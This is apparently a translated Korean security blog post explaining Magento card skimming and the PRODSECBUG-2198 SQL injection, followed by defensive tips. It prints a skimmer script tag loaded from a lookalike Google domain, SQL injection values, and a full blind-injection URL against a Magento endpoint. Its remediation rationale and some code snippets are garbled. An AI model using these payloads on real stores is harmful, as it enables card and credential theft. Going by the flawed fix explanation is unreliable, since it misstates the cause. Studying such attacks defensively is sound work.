Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

마젠토(Magento) 카드 스키밍의 작동 원리와 완벽한 보안 대비 방법

마젠토(Magento) 카드 스키밍(Card Skimming)이란, 마젠토 기반 웹사이트에 '스키머(Skimmer)'라는 악성 스크립트를 주입하여 신용카드·직불카드 정보를 불법적으로 탈취하는 행위를 말합니다. 마젠토 기반 쇼핑몰을 운영하고 계시다면 이 글이 꼭 필요합니다. 마젠토 카드 스키밍 보안 문제에 관한 모든 핵심 정보를 한자리에 정리해 드립니다.

이 글에서는 마젠토 카드 스키밍이 무엇인지, 그리고 마젠토 사이트에 어떤 영향을 미치는지(개념 증명 포함) 살펴보겠습니다. 아울러 웹사이트를 이런 공격으로부터 지키기 위한 실전 팁도 함께 소개합니다.

관련 글 – 마젠토 스토어를 노리는 매즈카트(Magecart) 공격이란? 예방법까지

마젠토 카드 스키밍이란?

마젠토는 PHP 기반 오픈소스 전자상거래 플랫폼입니다. 현재 Adobe가 소유하고 있는 자체 호스팅형 CMS로, 약 25만 개 이상의 웹사이트가 마젠토로 전자상거래 사이트를 운영하고 있으며, 그중 상당수가 미국의 대형 이커머스 기업들입니다. 따라서 마젠토에는 고객 경험을 안전하게 보호할 무거운 책임이 있습니다.

반면 카드 스키밍은 물리적 스키밍 장치를 통해 신용카드나 직불카드 정보를 불법 복제하는 행위를 의미합니다. 그렇다면 마젠토와 카드 스키밍은 어떻게 연결되게 되었을까요?

마젠토 카드 스키밍은 웹 스키밍(web skimming)의 한 형태로, 해커가 제3자 스크립트를 통해 마젠토 사이트의 결제 정보를 훔치는 공격입니다. 이 스크립트를 통해 해커는 소유자 이름, 카드 번호, CVV 코드, 유효기간 등 핵심 금융 정보를 빼낼 수 있습니다. 해커들은 보통 이 정보를 다크웹 등 블랙마켓에 판매하여 수익을 얻습니다.

PRODSECBUG-2198 익스플로잇 살펴보기

PRODSECBUG-2198 취약점은 2018년 11월 9일 Bugcrowd에서 처음 보고되었습니다. PRODSECBUG-2198은 마젠토에서 SQL 인젝션(SQL Injection)을 가능하게 하는 취약한 코드로, 인증되지 않은 사용자가 임의의 코드를 실행해 민감한 정보가 유출될 수 있습니다.

이 버그는 곧바로 P1 등급으로 분류되었습니다. Bugcrowd 기준 P1 취약점은 권한 상승(privilege escalation)을 유발할 수 있는 취약점으로, 낮은 권한의 사용자가 관리자 권한으로 승격할 수 있고, 원격 코드 실행이나 금융 절도 등도 가능합니다. 이 익스플로잇의 대상 버전은 다음과 같습니다.

  • Magento Commerce < 1.14.4.1
  • Magento Open Source < 1.9.4.1
  • Magento < 2.1.17
  • Magento < 2.2.8
  • Magento < 2.3.1

'구글'이라는 이름을 가진 스키머

최근 발생한 마젠토 스키밍 사건에서는 해커들이 가짜 구글 도메인을 이용해 결제 정보를 탈취하는 수법이 확인되었습니다. 이번 공격에서 악성 자바스크립트는 google-analytîcs.com, 즉 xn--google-analytcs-xpb.com이라는 도메인에서 로드되었습니다.

자세히 보면 실제 구글 도메인을 흉내 낸 이름임을 알 수 있습니다. 즉, 이 스키밍 공격은 피싱(Phishing)을 수단으로 민감한 결제 정보를 가져가는 방식입니다. 해당 스크립트는 다음과 같은 형태입니다.

<script type="text/javascript" src="//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js"></script>

이 스키머는 로드된 자바스크립트와 document.getElementsByTagName를 활용해 데이터를 수집합니다. 개발자 도구가 열려 있지 않으면, 스키머는 탈취한 데이터를 가짜 구글 도메인인 google-analytîcs.com(xn--google-analytcs-xpb.com)으로 전송합니다.

하지만 개발자 도구가 열려 있으면 이상한 동작을 보입니다. 전송 과정을 감지하고 도중에 멈추는데, 이 동작은 사용 중인 브라우저에 따라 달라집니다.

마젠토 카드 스키밍: 개념 증명(Proof of Concept)

이 보안 취약점에 대한 개념 증명은 다음과 같습니다. 파이썬(Python)으로 작성되었으며, 마젠토 카드 스키밍 문제를 일으키는 핵심 요소입니다.

  • 이 코드는 무작위 URL과 세션 데이터를 사용해 더미 브라우저 세션을 생성합니다. Browser 클래스와 세션 획득 함수를 활용합니다.
  • 세션 정보를 담은 Browser 클래스 객체가 SQL 인젝션 클래스에 전달됩니다.
  • SQL 인젝션은 세션 URL에 페이로드 데이터를 추가하고, 상품을 생성한 뒤 웹사이트 데이터베이스에서 핵심 정보를 추출합니다. 페이로드를 수정하면 백엔드 데이터에 대한 권한 획득도 가능합니다.
  • 공격자는 사용자의 최근 거래 내역과 금융 정보를 확보하게 됩니다.
마젠토(Magento) 카드 스키밍의 작동 원리와 완벽한 보안 대비 방법마젠토(Magento) 카드 스키밍의 작동 원리와 완벽한 보안 대비 방법마젠토(Magento) 카드 스키밍의 작동 원리와 완벽한 보안 대비 방법마젠토(Magento) 카드 스키밍의 작동 원리와 완벽한 보안 대비 방법마젠토(Magento) 카드 스키밍의 작동 원리와 완벽한 보안 대비 방법마젠토(Magento) 카드 스키밍의 작동 원리와 완벽한 보안 대비 방법

익스플로잇은 어떻게 마젠토 사이트를 감염시키는가?

마젠토는 약 200만 줄에 달하는 PHP 코드로 구성된 방대한 코드베이스를 갖고 있어, 취약점을 찾아내고 감사하는 작업이 매우 까다롭습니다. 그럼에도 윤리적 해커 팀이 코드를 검토한 결과, ORM과 DB 관리를 담당하는 코드에 초점을 맞출 수 있었습니다.

마젠토 카드 스키밍 버그가 존재했던 영역은 다음 두 곳입니다.

1. prepareSQLCondition 함수 내부

이 public 함수는 데이터베이스를 처리하는 핵심 클래스 중 하나에 포함되어 있으며, 다음 위치에서 찾을 수 있습니다.

MagentoFrameworkDBAdapterPdoMysql

함수 코드는 아래와 같습니다.

마젠토(Magento) 카드 스키밍의 작동 원리와 완벽한 보안 대비 방법마젠토(Magento) 카드 스키밍의 작동 원리와 완벽한 보안 대비 방법

취약점 분석

표시된 라인에 주목하며 익스플로잇의 작동 방식을 살펴보겠습니다. [1]로 표시된 줄에서 조건 별칭(condition alias)이 $conditionKeyMap을 통해 특정 패턴과 연결됩니다. 이는 30~35행의 로직에 따라 33행의 _prepareQuotedSqlCondition() 함수를 사용해 별칭 내 모든 '?' 문자를 주어진 값의 따옴표 처리된 버전으로 치환합니다. 다음 코드 예시를 살펴보겠습니다.

<?php

$db->prepareSqlCondition('username', ['regexp' => 'my_value']);

=> $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";

=> $query = "username REGEXP 'my_value'";

문제는 30행에서 "from"과 "to" 조건이 함께 사용될 때 발생합니다. 해당 코드의 로직은 필드 값이 특정 범위 안에 포함되는지 확인합니다. 더 잘 이해하기 위해 다음 코드 스니펫을 보겠습니다.

<?php

$db->prepareSqlCondition('price', [

'from' => '100'

'to' => '1000'

]);

$query = "price >= '100' AND price <= '1000'";

실행 로직에 따르면, 두 조건이 모두 존재할 때 먼저 "from"이 처리된 후 "to"가 처리됩니다. 하지만 38행에서 결정적인 실수가 일어납니다. "from"이 생성한 쿼리가 이후 포맷팅에 그대로 재사용되는 것입니다.

모든 "?"가 주어진 값으로 치환되므로, "from" 값에 물음표가 들어가면 "to"에 할당된 값의 따옴표 버전으로 교체됩니다. 유효한 SQL 인젝션 공격을 위해 공격자는 다음과 같은 익스플로잇 코드를 사용할 수 있습니다.

<?php

$db->prepareSqlCondition('price',[

'from' => 'x?'

'to' => ' OR 1=1 -- -'

]);

-> $query = "price >= 'x' OR 1=1 -- -'' AND price <= ' OR 1=1 -- -'"

이 실수는 아주 사소한 규모지만, 심각한 결과를 낳을 수 있습니다. 놀랍게도 이 코드는 마젠토 1.x 버전부터 계속 존재해 왔습니다.

2. Synchronize 클래스의 execute 함수 내부

또 다른 취약점은 다음 위치의 execute 함수에서 발견되었습니다.

MagentoCatalogControllerProductFrontendActionSynchronize

보안 문제가 드러난 PHP 소스 코드는 다음과 같습니다.

<?php

public function execute()

{

$resultJson = $this->jsonFactory->create();

try {

$productsData = $this->getRequest()->getParam('ids',[]);

$typeId = $this->getRequest()->getParam('type_id',null);

$this->synchronizer->syncActions($productsData, $typeId);

} catch (Exception $e) {

$resultsJson->setStatusHeader(

ZendHttpResponse::STATUS_CODE_400,

ZendHttpAbstractMessage::VERSION_11,

'Bad Request'

);

}

return $resultsJson->setData([]);

결국 버그로 이어지는 호출 스택(call stack)은 다음과 같습니다.

<?php

$productsData = $this->getRequest()->getParam('ids', []);

$this->synchronizer->syncActions($productsData, $typeId);

 

$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));

 

$this->_translateCondition($field, $condition);

 

$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);

 

$this->getConnection()->prepareSqlCondition($fieldName, $condition);

 

이 취약한 코드는 마젠토 v2.2.0부터 존재했습니다. 마젠토 카드 스키밍과 연관된 인증 없이 가능한 블라인드 SQL 인젝션(blind SQL injection)을 유발할 수 있는 샘플 URL은 다음과 같습니다.

https://magento2website.com/catalog/product_frontend_action/synchronize?

 

type_id=recently_products&

 

ids[0][added_at]=&

 

ids[0][product_id][from]=?&

 

ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
마젠토(Magento) 카드 스키밍의 작동 원리와 완벽한 보안 대비 방법마젠토(Magento) 카드 스키밍의 작동 원리와 완벽한 보안 대비 방법

이렇게 데이터베이스에서 정보를 읽을 수 있게 된 공격자는 관리자 계정 자격 증명을 추출해 백엔드에 접근할 수 있습니다. 또한 사용자 데이터베이스와 거래 데이터베이스에서 금융 정보 등을 몰래 빼돌릴 수도 있습니다. 공격자는 이 정보를 활용해 전자상거래 사기, 피싱, 심지어 보이싱(vishing) 같은 사이버 범죄를 저지를 수 있습니다. 나아가 여러분의 웹사이트에 악성코드를 심어 이커머스 업계에서 회사 평판에 큰 타격을 줄 수도 있습니다. 최악의 경우 검색 엔진에서 블랙리스트에 올라 유기적 트래픽이 급감할 수 있습니다.

마젠토 카드 스키밍으로부터 웹사이트를 지키는 방법

지금까지 마젠토 카드 스키밍의 작동 원리를 자세히 알아보았으니, 이제 향후 이러한 공격으로부터 사이트를 보호하는 방법을 살펴보겠습니다.

  1. prepareSqlInjection 함수 정화(Sanitizing)

    prepareSqlInjection 함수의 보안 버그를 제거하려면 코드를 다음과 같이 작성해야 합니다.

    $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);

    'this' 포인터를 사용해 전달된 값을 참조하면 공격자가 백엔드 데이터에 직접 접근하는 것을 막을 수 있습니다. 포인터 변수를 사용하면 데이터 추상화가 가능해져 승인된 함수를 통해서만 접근하게 됩니다.

  2. 입력 데이터 검증

    마젠토 기반 웹사이트의 어떤 페이지든 입력값은 백엔드 처리로 넘기기 전에 반드시 검증해야 합니다. 적절한 함수나 논리를 사용해 검증할 수 있으며, 철저해야 합니다. 사이트 관리자는 개발자에게 보안성이 높고 취약점이 적은 코드를 작성하도록 의무화해야 합니다.

  3. 업데이트로 보안 유지

    마젠토 사이트에서 사용하는 모든 플러그인은 최신 버전으로 유지해야 합니다. 이를 통해 고객과 사용자에게 안전한 경험을 보장할 수 있습니다. 해커들은 대체로 구버전 플러그인으로 운영되는 사이트를 노리고, 악성코드를 심어 사이트 속도를 늦추거나 마젠토 사이트를 블랙리스트에 오르게 만들 수 있습니다.

  4. 보안 감사 실시

    사이트에 대한 철저한 보안 감사를 통해 이미 보안 허점이 존재하는지 확인하세요. 모든 마젠토 사용자 계정을 점검하고 인식되지 않는 계정은 삭제하세요. 모든 허점과 코딩 취약점을 찾아내려면 전문 VAPT(취약점 평가 및 침투 테스트) 서비스를 받는 것도 좋은 방법입니다.

  5. 보안 이상 징후 즉시 신고

    사용자 데이터베이스나 거래 데이터베이스에서 보안 침해 흔적을 발견했다면, 이해관계자(결제 처리기관, 고객, 회사 이해당사자들)에게 즉시 연락해 이 비상사태를 최대한 빨리 해결해야 합니다. 보안 침해를 방치해서는 안 됩니다.

  6. 공유 호스팅 보안 위험 주의

    웹사이트를 공유 호스팅으로 운영한다면, 백업과 강화된 보안 플랜을 구매해야 합니다. 보안 관리자 또는 사이트 관리자로서 호스팅 업체에 연락해 공유 호스팅 서버에서 함께 운영 중인 다른 사이트에 대해 파악해 두세요. 저렴한 옵션을 선택해 온라인 명예를 위험에 빠뜨리지 마세요. 공유 호스팅 보안 위험에 대한 상세한 내용은 이전 Astra 블로그 글에서 다룬 바 있습니다.

  7. 데이터 암호화

    웹사이트 데이터베이스에 저장되는 데이터는 강력한 암호화 메커니즘으로 암호화하세요. 이를 통해 공격자가 사용자 개인정보나 회사의 전략 정보에 침입하기 어렵게 만들 수 있습니다.

  8. XSS 공격 경로 차단

    이 글에서는 XSS를 다루지 않지만, 마젠토의 결제 게이트웨이 페이지는 PHP 기반 폼으로 구성되므로 $_SERVER["PHP_SELF"] 공격을 막기 위해 htmlspecialchars() 함수를 사용하는 것이 중요합니다.

  9. 방화벽 설치

    웹 애플리케이션 방화벽(WAF) 설치 역시 웹사이트 보안을 강화하는 좋은 방법입니다. Astra 방화벽은 웹사이트를 위한 지속적 모니터링 시스템으로, 24시간 연중무휴로 들어오는 위협을 식별하고 차단합니다. 또한 시도되는 공격마다 진화하여 다음 공격에 더 잘 대비할 수 있습니다.

마젠토 보안 이슈에 관한 더 많은 글은 여기에서 확인하세요.

이 글이 도움이 되셨나요? Facebook, Twitter, LinkedIn에서 친구들과 공유해 주세요.